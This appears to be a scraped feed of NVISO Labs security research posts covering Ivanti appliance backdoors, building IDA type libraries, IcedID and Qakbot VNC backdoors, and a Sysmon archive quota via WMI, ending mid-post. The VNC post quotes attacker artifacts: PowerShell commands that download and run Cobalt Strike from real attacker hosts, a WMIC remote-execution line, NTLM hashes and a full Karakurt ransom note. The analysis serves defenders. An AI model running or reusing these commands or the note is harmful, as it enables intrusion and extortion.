Normal view

There are new articles available, click to refresh the page.
Before yesterdayNVISO Labs

Covert TLS n-day backdoors: SparkCockpit & SparkTar

1 March 2024 at 10:59

In early 2024, Ivanti’s Pulse Secure appliances suffered from wide-spread exploitation through the then reported vulnerabilities CVE-2023-46805 & CVE-2024-21887. Amongst the many victims, a critical-sector organization triggered their NVISO incident-response retainer to support their internal security teams in the investigation of the observed compromise of their Ivanti appliance. This report documents two at-the-time undetected covert TLS-based backdoors which were identified by NVISO during this investigation: SparkCockpit & SparkTar. Both backdoors employ selective interception of TLS communication towards the legitimate Ivanti server applications. Through this technique, the attackers have managed to avoid detection by most (if not all) network-based security solutions.

While SparkCockpit is believed to have been deployed through the 2024 Pulse Secure exploitation, SparkTar has been employed at least since Q3 2023 across multiple appliances. The two backdoors offer multiple degrees of persistence and access possibilities into the victim network, for example through traffic tunneling by establishing SOCKS proxy. SparkTar is the most advanced backdoor with the capability of surviving both factory resets as well as appliance upgrades. Both backdoors additionally also provide capabilities to perform file uploads and command execution.

It is important to note that given the purpose of the Ivanti Pulse Secure appliances in the environment, where they allow external, authenticated users access to various internal resources, the attackers would typically not be restricted in what resources they can reach internally in the network. Depending on the network restrictions in place, attackers could gain full network level access to a compromised environment through the network tunneling capabilities embedded in the SparkTar backdoor.

The report provides a comprehensive examination of the two sophisticated and previously undetected backdoors, SparkCockpit & SparkTar. The findings of our investigation have been independently corroborated by the research performed by Mandiant and have partially been observed by Fortinet. Our findings and detection rules detailed within the report are shared to support the cybersecurity community, and to allow for further detections and mitigations to take place. By sharing these insights it is the goal of NVISO to allow for organizations to get an understanding on the capabilities and inner workings of the backdoors, as well as enhancing their security posture and resilience against these evolving advanced cyber threats.

Generating IDA Type Information Libraries from Windows Type Libraries

7 November 2023 at 08:00

When working with IDA, a commonly leveraged feature are type information libraries (TIL). These libraries contain high-level type information such as function prototypes, type definitions, standard structures or enums; enabling IDA to convert statements such as movsxd rbx, dword ptr [r12+3Ch] into, for example, the more human-readable counterpart movsxd rbx, [r12+IMAGE_DOS_HEADER.e_lfanew].

On Windows, a similar concept called type libraries (TLB) exists to describe COM (Component Object Model) objects. In a nutshell, COM provides a language-independent interface to objects, abstracting how they have been implemented themselves.

In this quick-post, we’ll explore how to convert Windows type libraries (TLB) into IDA type information libraries (TIL). In particular, we’ll generate the necessary type information library to analyze .NET injection into unmanaged processes using mscoree.dll and mscorlib.dll (e.g., through _AppDomain). In a hurry? Grab the .NET type information library directly!

Abstract

Achieving TLB-to-TIL conversion can be done through an intermediary C++ conversion:

  1. First, the MSVC (Microsoft Visual C++) compiler can be leveraged to convert TLBs into their respective C++ header files.
  2. Once the C++ header files generated, IDAClang can be used to convert these into TILs.
A schema of MSVC converting TLBs into C++ as well as IDAClang converting C++ into TILs.
Figure 1: A schema of MSVC converting TLBs into C++ as well as IDAClang converting C++ into TILs.

Requirements

To achieve TLB-to-TIL conversion, this article requires the following tools:

  1. The MSVC (Microsoft Visual C++) compiler installed through Visual Studio*.
  2. The IDAClang command-line utility.

* For our example, we’ll be generating a type information library targeting the .NET Framework, hence also requiring header files part of the .NET Framework Developer Pack (a.k.a. SDK). The .NET Framework Developer Pack can be installed through Visual Studio.

Given both MSVC and IDAClang rely on a properly configured developer environment (e.g., a configured INCLUDE environment variable), this article assumes all commands are issued within a Visual Studio Developer Command Prompt such as the “x64 Native Tools Command Prompt”.

A capture of the “x64 Native Tools Command Prompt” within the Windows Start menu.
Figure 2: A capture of the “x64 Native Tools Command Prompt” within the Windows Start menu.

Converting Microsoft Type Libraries to C++ Headers

Windows type libraries are a Windows-specific feature which integrates seamlessly with the MSVC compiler through the #import statement.

#import creates two header files that reconstruct the type library contents in C++ source code. The primary header file is similar to the one produced by the Microsoft Interface Definition Language (MIDL) compiler, but with additional compiler-generated code and data. The primary header file has the same base name as the type library, plus a .TLH extension.

Source: learn.microsoft.com

As such, creating a C++ file to import a type library will generate its C++ header. Given we wish to convert mscorlib.tlb into C++ headers, we can create the following C++ file named, for example, til.cpp.

#import "mscorlib.tlb" raw_interfaces_only auto_rename

Once the C++ file has been created, we can rely on the MSVC compiler to generate the necessary headers. The beneath command will generate the mscorlib.tlh file.

CL.exe /c /D NDEBUG /D _CONSOLE /D _UNICODE /D UNICODE /permissive- /TP til.cpp

Converting C++ Headers to IDA Type Information Libraries

With the C++ headers generated, we can now proceed to create the IDA type information library. To do so, we can create a new C++ header file that will reference any standard headers (e.g., those from the .NET Framework Developer Pack) and generated headers (i.e., the previously generated mscorlib.tlh) we wish to use in IDA. The following is our example til.h.

// Include standard headers
// Example: Microsoft .NET Framework Developer Pack
#include <alink.h>
#include <clrdata.h>
#include <cordebug.h>
#include <corhlpr.h>
#include <corprof.h>
#include <corpub.h>
#include <corsym.h>
#include <fusion.h>
#include <gchost.h>
#include <ICeeFileGen.h>
#include <isolation.h>
#include <ivalidator.h>
#include <ivehandler.h>
#include <metahost.h>
#include <mscoree.h>
#include <openum.h>
#include <StrongName.h>
#include <tlbref.h>
#include <VerError.h>

// Include generated headers
// Example: Microsoft Common Language Runtime Class Library
//          The mscorlib.h generated from mscorlib.tlb
#include "mscorlib.tlh"

Once the C++ header file created, we can rely on IDAClang to generate the TIL.

idaclang.exe -x c++ -target x86_64-pc-windows -ferror-limit=0 --idaclang-tildesc "Example" --idaclang-tilname "example.til" til.h

MSVC and Clang (used in IDAClang) are two different C++ compilers. While they can mostly agree, compiling MSVC-generated C++ code using Clang is bound to generate non-fatal errors. While IDAClang may generate quite some errors as shown below, the TIL conversion should succeed after a moment.

IDACLANG: nonfatal: ./mscorlib.tlh:10774:1: error: enumeration previously declared with fixed underlying type
IDACLANG: nonfatal: ./mscorlib.tlh:11509:64: error: expected ';' after struct
IDACLANG: nonfatal: ./mscorlib.tlh:11509:1: error: declaration of anonymous struct must be a definition
IDACLANG: nonfatal: ./mscorlib.tlh:11510:11: error: expected unqualified-id

As an example, we published our .NET type information library mscoru.til.

Using the IDA Type Information Library

Once the TIL generated, we can proceed to make it available to IDA. To do so, copy the TIL to the appropriate folder which, in our example, could be the C:\Program Files\IDA Pro 8.3\til\pc directory. Once the TIL staged, IDA should display the new type information library and allow it to be loaded.

A capture of IDA’s Available Type Libraries.
Figure 3: A capture of IDA’s Available Type Libraries.

With the TIL loaded, we can now instruct IDA to import the new structures such as ICLRMetaHost and its ICLRMetaHost_vtbl virtual function table.

A capture of IDA’s ICLRMetaHost structure.
Figure 4: A capture of IDA’s ICLRMetaHost structure.
A capture of IDA’s ICLRMetaHost_vtbl structure.
Figure 5: A capture of IDA’s ICLRMetaHost_vtbl structure.

Once our structures imported, we can leverage IDA’s structure offsets to make raw offsets human-readable as observed in the following slider (left before, right after).

Figure 6: A capture of IDA’s ICLRMetaHost.GetRuntime call.

In our .NET injection analysis, this enables us to identify where the raw .NET assembly is loaded as observed in the beneath slider (left before, right after). Such information in turn allows us to identify from where it originates and where we could best intercept it for further analysis.

Figure 7: A capture of IDA’s _AppDomain.Load_3 call.

Conclusions & Lessons Learned

While tools such as OLEViewer alongside MIDL could in theory generate C++ code as well, we found these to be unreliable. Instead, working with MSVC and IDAClang provides a quick (and clean) approach to convert TLBs into TILs.

The above described process can be extended to other abused COM objects such as the Windows Script Host Object Model (with TLB %SystemRoot%\System32\wshom.ocx) or the Microsoft Management Console (with TLB %SystemRoot%\System32\mmc.exe).

By creating IDA type information libraries matching libraries used by adversaries we gain the capability to properly understand their tooling, how to analyze further stages and how to best defend against them.

References

  1. https://learn.microsoft.com/en-us/cpp/preprocessor/hash-import-directive-cpp
  2. https://hex-rays.com/tutorials/idaclang/
  3. https://thewover.github.io/Introducing-Donut/#disposable-appdomains
Maxime THIEBAUT

Maxime Thiebaut

Maxime Thiebaut is a GCFA-certified Incident Response & Digital Forensics Analyst within NVISO CSIRT. He spends most of his time performing defensive research and responding to incidents. Previously, Maxime worked on the SANS SEC699 course. Besides his coding capabilities, Maxime enjoys reverse engineering samples observed in the wild.

IcedID & Qakbot’s VNC Backdoors: Dark Cat, Anubis & Keyhole

20 March 2023 at 14:45
IcedIDQakbot

IcedID (a.k.a. BokBot) is a popular Trojan who first emerged in 2017 as an Emotet delivery. Originally described as a banking Trojan, IcedID shifted its focus to embrace the extortion/ransom trend and nowadays acts as an initial access broker mostly delivered through malspam campaigns. Over the last few years, IcedID has commonly been seen delivering Cobalt Strike prior to a multitude of ransomware strains such as Conti or REvil.

IcedID itself is composed of multiple modules, one of which is a poorly documented VNC backdoor (Virtual Network Computing) acting as a cross-platform remote desktop solution. Existence of this module (branded “HDESK” or “HDESK bot”) is just partially mentioned by Malwarebytes (2017) and Kaspersky (2021) while its usage has been widely observed and occasionally vulgarized as “Dark VNC”.

As part of our research efforts, NVISO has been analyzing IcedID and Qakbot’s command & control communications. In this blog-post we will share insights into IcedID and Qakbot’s VNC backdoor(s) as seen from an attacker’s perspective, insights we obtained by extracting and reassembling VNC (RFC6143) traffic embedded within private and public captures published by Brad Duncan.

In this post we introduce the three variants we observed as well as their capabilities: Dark Cat, Anubis and Keyhole. We’ll follow by exposing common techniques employed by the operators before revealing information they leaked through their clipboard data.

Bokbot or Qakbot?

This research was originally titled “IcedID’s VNC Backdoors: Dark Cat, Anubis & Keyhole” and focused solely on IcedID (Bokbot). Brad however correctly pointed-out that Dark Cat is only leveraged by Qakbot, samples which were mistakenly included in this research after being confused with Bokbot (IcedID).

IcedID and Qakbot VNC traffic remains extremely similar as can be observed in the following three VNC backdoors.

HDESK Variants

During our analysis of both public and private IcedID and Qakbot network captures, we identified 3 VNC backdoor variants, all part of the HDESK strain. These backdoors are typically activated during the final initial-access stages to initiate hands-on-keyboard activity. Supposedly short for “Hidden Desktop”, HDESK leverages Windows features allowing the backdoor to create a hidden desktop environment not visible to the compromised user. Within this hidden environment, the threat actors can start leveraging the user interface to perform regular tasks such as web browsing, reading mails in Outlook or executing commands through the Command Prompt and PowerShell.

We believe with medium confidence that these backdoors share origins as the the Dark Cat interface (used by Qakbot) has traits that can later be found within Anubis and Keyhole interfaces (used by IcedID).

Dark Cat VNC

The “Dark Cat VNC” variant was first observed in November 2021 and is believed to be the named releases v1.1.2 and v1.1.3 used by Qakbot. Its usage was still extensively observed by the end of 2022. Upon initial access, the home screen presents the operator with multiple options to create new sessions alongside backdoor metrics such as idle time or lock state.

Figure 1: The Dark Cat VNC interface.
Figure 1: The Dark Cat VNC interface.

User Session

Figure 2: A Dark Cat USER session.

The USER session exists in three variations (read, standard and black) which allows the operator to switch the VNC view to the user’s visible desktop.

HDESK Session

The HDESK session exists in three variations as well: standard, Tmp and NM (also called bot). This session type causes the backdoor to create a new hidden desktop not visible to the compromised user.

Based on the activity we observed, the HDESK sessions are (understandably) preferred by the operators.

Figure 3: A Dark Cat HDESK session.

As HDESK sessions by default do not benefit from Windows’s built-in UI, operators are presented with an alternative start-menu to launch common programs. In Dark Cat these are Chrome, Firefox, Internet Explorer, Outlook, Command Prompt, Run and the Task Manager. A Windows Shell button is also foreseen which we believe, if used, will spawn the regular Windows UI most of the users are used to. Starting with Dark Cat v1.1.3 Edge Chromium furthermore joins the list of available software.

Figure 4: The Dark Cat HDESK session interface.
Figure 4: The Dark Cat HDESK session interface.

Besides the alternate start-menu, operators can access some settings using the top-left orange icon which includes:

  • Defining the hidden windows’ sizes.
  • Defining the Chrome profile to use (lite or not).
  • Deleting the browser’s profile(s).
  • Killing the child process(es).
Figure 5: The Dark Cat HDESK settings interface.

WebCam Session

The WebCam sessions exist in three variations. While we were unable to capture its usage (honeypots lack webcams and operators do not attempt to use this session kind), its presence suggests IcedID’s VNC backdoors are capable of capturing compromised devices’ webcam feeds.

Anubis VNC

The “Anubis VNC” variant was first observed in January 2022 and is believed to be the named release v1.2.0 used by IcedID. Its usage was last observed in Q3 2022. No capability differences were observed between Anubis and Dark Cat v1.1.3.

Figure 6: The Anubis VNC interface.
Figure 6: The Anubis VNC interface.

KEYHOLE VNC

The “KEYHOLE VNC” variant was first observed in October 2022 and is believed to be the named releases v1.3 as well as v2.1. Its usage was observed as recently as Q1 2023.

Grayscale

The first major change observed within Keyhole is its new color palette capability where operators can pick regular RGB (a.k.a. colored) or Grayscaled (a.k.a. black & white) feeds. The actual intend of this feature is unclear as, at least from a network perspective, both RGB and Grayscale consume as many bytes per pixel, resulting in equal performances.

Figure 7: The Keyhole color palette selector.
Figure 7: The Keyhole color palette selector.

HDESK Sessions

Keyhole v1.3 provides a refreshed start-menu where icons have been updated and options renamed; The once cryptic Win Shell option has been rebranded to the My Computer option.

Figure 8: The Keyhole (v1.3) HDESK session interface in gray-scaled color palette.
Figure 8: The Keyhole (v1.3) HDESK session interface in gray-scaled color palette.

Later-on, with v2.1, Keyhole renamed additional options and introduced the PowerShell and Desktop options. We assess with low confidence that the Desktop option only differs from the My Computer option by rendering the background as well, whereas the latter option was only seen generating desktop views without background image.

Figure 9: The Keyhole (v2.1) HDESK session interface.
Figure 9: The Keyhole (v2.1) HDESK session interface.

Modus Operandi

Obtaining recordings of threat actors operating is useful to understand which technical capabilities they are equipped with, but also allows the identification of TTPs (Tactics, Techniques & Procedures) they might employ. In the following section we will review some of the most re-occurring actions we observed IcedID and Qakbot operators perform through the above described backdoors.

🍯 Nothing confidential here…
All media published within this section were reconstructed from publicly published artifacts. As all information is public, we have refrained from redacting otherwise sensitive details such as company names and accounts.

Task Manager

To no surprise, the usage of the Task Manager to identify running software was extremely common. While hard to detect as operators did not attempt to interfere with security software, the usage of this graphical utility outlined one interesting drawback. On multiple (non-published) occasions we observed actors identifying known security tooling based on the process icon whereas other icon-less tooling blended in with many of Windows’ icon-less applications.

Figure 10: An Anubis operator performing interactive reconnaissance through the Task Manager.

Outlook

Another quite common technique was the inspection of Outlook, most likely to identify poorly-populated honeypot networks. As was the case for the Task Manager, the graphical usage of Outlook by the operator is indistinguishable from regular user activity. From the available recordings, no attempts were made to use Outlook for further phishing/spam.

Figure 11: An Dark Cat operator performing interactive reconnaissance through Outlook.
Figure 12: A Dark Cat operator inspecting Outlook's "Rules and Alerts" settings.
Figure 12: A Dark Cat operator inspecting Outlook’s “Rules and Alerts” settings.

On one singular instance, we observed the actor expressing interests in Outlook’s rules. The backdoor session was however terminated before they undertook any actions making it unclear whether this was part of the reconnaissance activities or were planning to set up malicious email redirection rules.

Web Browsers

From the available browsers, Edge and Chrome were the favorites. Using these, operators commonly validated the browser’s connectivity by accessing Amazon.

During one intrusion, the operator went as far as attempting to access the compromised user’s Amazon payment information. This attempt is a good reminder that beyond a user’s corporate identity, personal accounts are definitely at risk as well.

Figure 13: A Dark Cat operator accessing Amazon's "Your Payments" account page.
Figure 13: A Dark Cat operator accessing Amazon’s “Your Payments” account page.
Figure 14: A Keyhole operator inspecting Edge's version details.
Figure 14: A Keyhole operator inspecting Edge’s version details.

On some occasions operators accessed the edge://version URL. While this page exposes mostly useless information to attackers, the capture provides a sheer amount of uncommon flags usable for threat hunting.

Noteworthy is the Profile path located within the user’s temporary directory and passed using the --user-data-dir= flag, a pattern that from our available telemetry seems quite uncommon for msedge.exe in enterprise environments. The pattern is however occasionally used for applications such as opera_autoupdate.exe and msedgewebview2.exe.

Also worth noting is the usage of edge://settings/passwords to identify additional accounts.

Figure 14: A Keyhole operator interactively inspecting Edge's stored passwords.
Figure 14: A Keyhole operator interactively inspecting Edge’s stored passwords.
Figure 15: Edge displaying a warning banner due to the usage of an unsupported flag during a Dark Cat session.
Figure 15: Edge displaying a warning banner due to the usage of an unsupported flag during a Dark Cat session.

A final commonly observed pattern is the usage of the unsupported --no-sandbox command-line flag in Edge resulting in a notification banner. From our available telemetry in enterprise environments, the usage of this flag for Edge is uncommon, as opposed to Electron-based applications (including Microsoft Teams and WhatsApp) who extensively use it.

Explorer

Another commonly observed utility to inspect the compromised devices’ files and folders, including payloads dropped through other channels, is Windows Explorer. As was the case with Outlook, Explorer’s usage is indistinguishable from legitimate use making it a hard to detect technique.

Figure 16: A Keyhole operator interactively using Explorer to inspect folders.

Command Prompt

Last but not least, the command prompt was obviously used extensively. Usage of the command prompt is commonly leveraged for reconnaissance activities, including the usage of:

  • whoami /upn for system user discovery (T1033).
  • ipconfig for system network configuration discovery (T1016).
  • arp -a for both remote system discovery (T1018) and device identification based on the MAC address.
  • dir for file and directory discovery (T1083) over SMB (T1021.002).
  • nltest /dclist for the remote discovery of the domain controllers (T1018).
  • ping for network connectivity tests to remote systems (T1018).
  • PowerShell (T1059.001) to deploy Cobalt Strike.

As opposed to the previous mostly passive TTPs, the active usage of the Command Prompt and PowerShell is often where detection rules obtain a competing chance.

Figure 17: An Anubis operator performing initial reconnaissance using the Command Prompt in an HDESK session.

Clipboard Leaks

As VNC acts as a remote desktop solution, another trove of data was found within the clipboard synchronization feature. By copy/pasting between victim and attacker machines, operators exposed some additional TTPs and information surrounding their operations.

In this section we will expose the most common and interesting data found within their clipboards.

Cobalt Strike

As expected, many variations of Cobalt Strike downloaders were observed. These leveraged both IPs and domain names, as well as standard and non-standard ports such as HTTP on port 443 or HTTPS on port 8080.

IEX ((new-object net.webclient).downloadstring('http://89.163.251.143:80/a'))
IEX ((new-object net.webclient).downloadstring('http://146.0.72.85:443/waw')) 
IEX ((new-object net.webclient).downloadstring('https://searcher.host/a80lvl'))
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://solvesalesoft.com:8080/coin'))"

In some cases, the operators directly leveraged PowerShell shellcode stagers as shown in the following trimmed command.

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPA...AGQAKAApADsA

For compromised accounts with sufficient access, WMIC commands were further issued to deploy Cobalt Strike on remote appliances.

C:\Windows\System32\wbem\wmic.exe /node:10.6.21.140 process call create "cmd.exe /c powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('https://solvesalesoft.com:8080/coin'))"""

Finally, although we were unable to identify which tooling would rely on such a format, actors leaked what appears to be a naming convention.

plugin_cobalt_126_8888
plugin_cobalt_126_8080
plugin_cobalt_126_443

Rundll32

Besides Cobalt Strike, operators exposed a DllRegisterServer command which Unit 42 observed being used with rundll32.exe and attributed to the deployment of a VNC backdoor.

DllRegisterServer --id %id% --group %group% --ip 87.120.8.190,158.69.133.70,185.106.120.99,45.14.226.195,103.124.106.154,149.3.170.201,5.181.80.103,89.41.182.242,172.83.155.186,45.42.201.179,194.15.112.223

NTLM Hashes

Another interesting finding was the presence of NTLM hashes within the clipboard data, exposing the compromise’s scope. In this case, the impacted organization was part of a honeypot environment.

DESKTOP-4GDQQL7\admin 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\Administrator 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\bennie.mcbride 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\brenda.richardson 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\daryl.wood 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY\daryl.wood 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\saul.underwood 4081e42481a5986e9bfcb7000bbe98f4
DESKTOP-4GDQQL7\WDAGUtilityAccount 7cd5fddee0cd00dde47014fe7f52faa4
TECHHIGHWAY-DC\krbtgt a7b565c147b69380d0b35f37ce478a1c

Attacker Notes

While the above findings do not aid attribution, one operator did leak their intrusion notes. Within these notes (“[...]” trimmed for readability) we can observe Russian annotations, commonly related to CIS-based crime groups, as well information on then-ongoing breaches. A couple of days after the network traffic was taken, two non-honeypot companies mentioned within these notes were listed on the Black Basta ransomware group’s leak site.

[...]
Hostname CTYMNGR1 =ist  ne v domene
Hostname PCCXCNAU001 (4)-no ad/da/error 
Hostname W10EQZAFI10027 -?ff ne prishla
Hostname NPD104 -24 host (7)
Hostname DESKTOP-3R921OV -small
[...]
Hostname CAS-TAB0010 [...] 28m 9prosto) yshla v off/sdelal zakrep MSNDevices? 
Hostname PC-REC-LEFT-10 --???? ? ?? ????
Hostname TRAINING - w craneserviceco.com 20m (???) razobral
[...]
Hostname RM6988 msystemscompany.com 32m (??????) ?????????? ? ???? ?? ?????????? ???????? + ???????? ??????? 
Hostname EXIRP316151 ?????? ?? ????? ???????
Hostname ADMIN201 ???? ? ???
[...]
Hostname ODSCHEDULING  [...] 12m work7---yshla v off
Hostname MDC1104 [...] 11m istok razobral

Ransom Notes

Another recovered artifact was a full ransom note where authors identified themselves as belonging to the Karakurt Team. While this note did not allow for the identification of its victim, it is further evidence of IcedID and Qakbot’s role within the access broker ecosystem.

Ok, you are reading this - so it means that we have your attention.
Here's the deal :
1. We breached your internal network and took control over all of your systems.
2. We analyzed and located each piece of more-or-less important files while spending weeks inside.
3. We exfiltrated anything we wanted (the total size of taken data exceeds 372 GB).

FAQ:
- Who the hell are you?
- The Karakurt Team. Pretty skilled hackers I guess.

- WHY ARE YOU DOING THIS?!??
- Our motivation is purely financial.

- We are going to report this to law enforcement.
- You surely can, but be ready that they will confiscate most of your IT infrastructure, and even if you will later change your mind and decide to pay - they will not let you.

- Who else already knows about the breach?
- Only You, who received the same message the same way. Nobody else. For now.

- What if I tell you that I do not care and going to ignore this incident.
- That's a very bad choice. If you will not contact us in a timely manner (by 07.01.2022) we will start notifying your employees, clients, partners, subcontractors and any other persons that should know how you treat your own corporate secrets and theirs.

- What if I will not contact you even after it?
- Than we shall move forward and start contacting your business competitors and list of anonymous inside traders we deal with, to find out if they are going to pay us for your data. When the list of the people who is interested in such data is formed - the closed online auction starts.

- None will buy what you took! I do not believe you!
- If the auction fails - we will just leak everything online, making sure that this leak goes straight to the press. We will make sure that your business will bleed by using any power we have in our posession, both social and technical.

- What happens if I pay?
- Nothing bad will happen.
We will remove everything we took from your network and leave you be.
We will provide the confirmation that the data is deleted.
We will help you to close technical vulnerabilities you have and provide some insight on how to avoid such incidents if some other perpetrator is interested in you.
We will never tell anybody about it.

- We understand. We are ready to move forward.
- You will find the Access Code at the end of this file, you will need this one to get in contact with us for further instructions

To contact us using this ID you should do the following :
1. Download Tor browser - https://www.torproject.org and install it.
2. Open link in TOR browser - https://omx5iqrdbsoitf3q4xexrqw5r5tfw7vp3vl3li3lfo7saabxazshnead.onion
3. Insert Access Code 70fdca335aa3fd45a182f39b2592a5d0 inside the field on the page and click Enter.
4. The chat window will open and we will be able to communicate through a secured channel.

This link is available via "Tor Browser" only!


As a gesture of goodwill, we are ready to give you another leak - it is exclusive and fresh as well. Just let us know if you are interested in cooperation.

Key Takeaways

While it may not be complex to detect IcedID or Qakbot itself (any modern EDR should detect the rundll32.exe abuse), distinguishing which interactive actions were taken through a VNC backdoor does pose challenges. Focus is often put on command-based executions without considering what could otherwise be considered legitimate user processes such as web browsers or Outlook. Understanding how these backdoors operate improve responsive and forensic capabilities by, for example, allowing the identification and explanation of Edge processes with unlikely or unsupported flags.

This blog post further outlined the capability of network-level visibility which, for complex or BYOD (Bring Your Own Device) environments, may cope with the lack of endpoint visibility. Within this spirit, we would like to outline the effectiveness of the Snort IDS rules published by Networkforensic with regards to the detection of IcedID command & control communications.

If you are facing challenges keeping your environment clean or need help due to a compromise, do not hesitate to reach out; NVISO can help!

Maxime Thiebaut

Maxime Thiebaut is a GCFA-certified researcher within NVISO Labs. He spends most of his time performing defensive research and responding to incidents. Previously, Maxime worked on the SANS SEC699 course. Besides his coding capabilities, Maxime enjoys reverse engineering samples observed in the wild.

Enforcing a Sysmon Archive Quota

30 June 2022 at 12:19

Sysmon (System Monitor) is a well-known and widely used Windows logging utility providing valuable visibility into core OS (operating system) events. From a defender’s perspective, the presence of Sysmon in an environment greatly enhances detection and forensic capabilities by logging events involving processes, files, registry, network connections and more.

Since Sysmon 11 (released April 2020), the FileDelete event provides the capability to retain (archive) deleted files, a feature we especially adore during active compromises when actors drop-use-delete tools. However, as duly noted in Sysmon’s documentation, the usage of the archiving feature might grow the archive directory to unreasonable sizes (hundreds of GB); something most environments cannot afford.

This blog post will cover how, through a Windows-native feature (WMI event consumption), the Sysmon archive can be kept at a reasonable size. In a hurry? Go straight to the proof of concept!

Figure 1: A Sysmon archive quota removing old files.

The Challenge of Sysmon File Archiving

Typical Sysmon deployments require repeated fine-tuning to ensure optimized performance. When responding to hands-on-keyboard attackers, this time-consuming process is commonly replaced by relying on robust base-lined configurations (some of which open-source such as SwiftOnSecurity/sysmon-config or olafhartong/sysmon-modular). While most misconfigured events have at worst an impact on CPU and log storage, the Sysmon file archiving can grind a system to a halt by exhausting all available storage. So how could one still perform file archiving without risking an outage?

While searching for a solution, we defined some acceptance requirements. Ideally, the solution should…

  • Be Windows-native. We weren’t looking for yet another agent/driver which consumes resources, may cause compatibility issues and increase the attack surface.
  • Be FIFO-like (First In, First Out) to ensure the oldest archived files are deleted first. This ensures attacker tools are kept in the archive just long enough for our incident responders to grab them.
  • Have a minimal system performance impact if we want file archiving to be usable in production.

A common proposed solution would be to rely on a scheduled task to perform some clean-up activities. While being Windows-native, this execution method is “dumb” (schedule-based) and would execute even without files being archived.

So how about WMI event consumption?

WMI Event Consumption

WMI (Windows Management Instrumentation) is a Windows-native component providing capabilities surrounding the OS’ management data and operations. You can for example use it to read and write configuration settings related to Windows, or monitor operations such as process and file creations.

Within the WMI architecture lays the permanent event consumer.

You may want to write an application that can react to events at any time. For example, an administrator may want to receive an email message when specific performance measures decline on network servers. In this case, your application should run at all times. However, running an application continuously is not an efficient use of system resources. Instead, WMI allows you to create a permanent event consumer. […]

A permanent event consumer receives events until its registration is explicitly canceled.

docs.microsoft.com

Leveraging a permanent event consumer to monitor for file events within the Sysmon archive folder would provide optimized event-based execution as opposed to the scheduled task approach.

In the following sections we will start by creating a WMI event filter intended to select events of interest; after which we will cover the WMI logical consumer whose role will be to clean up the Sysmon archive.

WMI Event Filter

A WMI event filter is an __EventFilter instance containing a WQL (WMI Query Language, SQL for WMI) statement whose role is to filter event tables for the desired events. In our case, we want to be notified when files are being created in the Sysmon archive folder.

Whenever files are created, a CIM_DataFile intrinsic event is fired within the __InstanceCreationEvent class. The following WQL statement would filter for such events within the default C:\Sysmon\ archive folder:

SELECT * FROM __InstanceCreationEvent
WHERE TargetInstance ISA 'CIM_DataFile'
	AND TargetInstance.Drive='C:'
	AND TargetInstance.Path='\\Sysmon\\'

Intrinsic events are polled at specific intervals. As we wish to ensure the polling period is not too long, a WITHIN clause can be used to define the maximum amount of seconds that can pass before the notification of the event must be delivered.

The beneath query requires matching event notifications to be delivered within 10 seconds.

SELECT * FROM __InstanceCreationEvent
WITHIN 10
WHERE TargetInstance ISA 'CIM_DataFile'
	AND TargetInstance.Drive='C:'
	AND TargetInstance.Path='\\Sysmon\\' 

While the above WQL statement is functional, it is not yet optimized. As an example, if Sysmon came to archive 1000 files, the event notification would fire 1000 times, later resulting in our clean-up logic to be executed 1000 times as well.

To cope with this property, a GROUP clause can be used to combine events into a single notification. Furthermore, to ensure the grouping occurs within timely manner, another WITHIN clause can be leveraged. The following WQL statement waits for up to 10 seconds to deliver a single notification should any files have been created in Sysmon’s archive folder.

SELECT * FROM __InstanceCreationEvent
WITHIN 10
WHERE TargetInstance ISA 'CIM_DataFile'
	AND TargetInstance.Drive='C:'
	AND TargetInstance.Path='\\Sysmon\\' 
GROUP WITHIN 10

To create a WMI event filter we can rely on PowerShell’s New-CimInstance cmdlet as shown in the following snippet.

$Archive = "C:\\Sysmon\\"
$Delay = 10
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{
    Name = 'SysmonArchiveWatcher';
    EventNameSpace = 'root\cimv2';
    QueryLanguage = "WQL";
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN $Delay WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Drive='$(Split-Path -Path $Archive -Qualifier)' AND TargetInstance.Path='$(Split-Path -Path $Archive -NoQualifier)' GROUP WITHIN $Delay"
}

WMI Logical Consumer

The WMI logical consumer will consume WMI events and undertake actions for each occurrence. Multiple logical consumer classes exist providing different behaviors whenever events are received, such as:

The last CommandLineEventConsumer class is particularly interesting as it would allow us to run a PowerShell script whenever files are archived by Sysmon (a feature attackers do enjoy as well).

The first step on our PowerShell code would be to obtain a full list of archived files ordered from oldest to most recent. This list will play two roles:

  1. It will be used to compute the current directory size.
  2. It will be used as a list of files to remove (in FIFO order) until the directory size is back under control.

While getting a list of files is easy through the Get-ChildItem cmdlet, sorting these files from oldest to most recently archived requires some thinking. Where common folders could rely on the file’s CreationTimeUtc property, Sysmon archiving copies this file property over. As a consequence the CreationTimeUtc field is not representative of when a file was archived and relying on it could result in files being incorrectly seen as the oldest archives, causing their premature removal.

Instead of relying on CreationTimeUtc, the alternate LastAccessTimeUtc property provides a more accurate representation of when a file was archived. The following snippet will get all files within the Sysmon archive and order them in a FIFO-like fashion.

$Archived = Get-ChildItem -Path 'C:\\Sysmon\\' -File | Sort-Object -Property LastAccessTimeUtc

Once the archived files listed, the folder size can be computed through the Measure-Object cmdlet.

$Size = ($Archived | Measure-Object -Sum -Property Length).Sum

All that remains to do is then loop the archived files and remove them while the folder exceeds our desired quota.

for($Index = 0; ($Index -lt $Archived.Count) -and ($Size -gt 5GB); $Index++)
{
	$Archived[$Index] | Remove-Item -Force
	$Size -= $Archived[$Index].Length
}

Sysmon & Hard Links

In some situations, Sysmon archives a file by referencing the file’s content from a new path, a process known as hard-linking.

A hard link is the file system representation of a file by which more than one path references a single file in the same volume.

docs.microsoft.com

As an example, the following snippet creates an additional path (hard link) for an executable. Both paths will now point to the same on-disk file content. If one path gets deleted, Sysmon will reference the deleted file by adding a path, resulting in the file’s content having two paths, one of which within the Sysmon archive.

:: Create a hard link for an executable.
C:\>mklink /H C:\Users\Public\NVISO.exe C:\Users\NVISO\Downloads\NVISO.exe
